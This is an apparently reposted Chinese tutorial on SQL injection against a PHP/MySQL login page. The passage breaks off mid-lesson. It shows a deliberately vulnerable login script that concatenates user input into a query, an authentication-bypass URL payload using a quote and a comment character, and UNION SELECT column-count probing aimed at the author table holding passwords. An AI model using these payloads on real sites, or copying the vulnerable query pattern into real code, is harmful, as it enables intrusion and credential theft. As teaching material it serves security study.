CREATE TABLE alphaauthor ( Id tinyint(4) NOT NULL auto_increment, UserName varchar(50) NOT NULL default '', PASSWORD varchar(50) default NULL, Name varchar(50) default NULL, PRIMARY KEY (Id), UNIQUE KEY Id (Id), KEY Id_2 (Id) )
<?php //Login.php …… $query="select * from alphaauthor where UserName='$username' and Password='$passwd'"; www.phperz.com $result=mysql_query($query); $data=mysql_fetch_array($result); if ($data) { Echo “重要信息”; } Else Echo “登陆失败”; …… ?>
我们在浏览器地址框直接输入 http://***/login.php?username=a’or id=1 %23 %23转换成#了 放到sql语句中 select * from alphaauthor where UserName='a’or id=1 #' and Password='$passwd' #号后面的都拜输入了,看看 这句话等价于 select * from alphaauthor where UserName='a’or id=1
4. 下面进入最重要的部分了,没睡觉的打起精神来,睡着了的醒一醒啦。 1)select union select 还是php中文手册中讲的: SELECT ... UNION [ALL] SELECT ... [UNION SELECT ...] UNION 在 MySQL 4.0.0 中被实现。 UNION 用于将多个 SELECT 语句的结果联合到一个结果集中。
需要注意的是union前后的select字段数相同,只有这样union函数才能发挥作用。如果字段数不等将返回 ERROR 1222 (21000): The used SELECT statements have a different number of columns 错误 晕咯,这样不好吧。咋半哩? 别急哈,急也没用的 例如: 已知alphadb表有11列 我们 mysql> select * from alphadb where id=351 union select 1,2,3,4,5,6,7,8,9,10 from alphaauthor; 如图(2)
我们只slect了10个数当然出错啦。 下面看 mysql> select * from alphadb where id=347 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor; 如图(3)
我们看看id=247中的数据先 mysql> select * from alphadb where id=347; +-----+--------------------------------------------+----------------- | id | title | content | importtime | author | accessing | addInto | type | showup | change_ubb | change_html | +-----+--------------------------------------------+----------------- | 347 | 利用adsutil.vbs+..--发表于黑客档案2004.6期 | 发表于黑客x档案第6期 | 2004
www.phperz.com
-03-28 11:50:50 | Alpha | 17 | Alpha | 2 | 1 | 1 | 1 | +-----+--------------------------------------------+----------------- 1 row in set (0.00 sec) 我们看到,它的返回结果和 mysql> select * from alphadb where id=347 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor; 是相同的。 哦,大家或许会问,这样有什么用呢? 问的好。 Ok,继续试验 当我们输入一个不存在的id的时候 例如id=0,或者id=347 and 1<>1 再看看 mysql> select * from alphadb where id=347 and 1<>1 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor; 如图(4)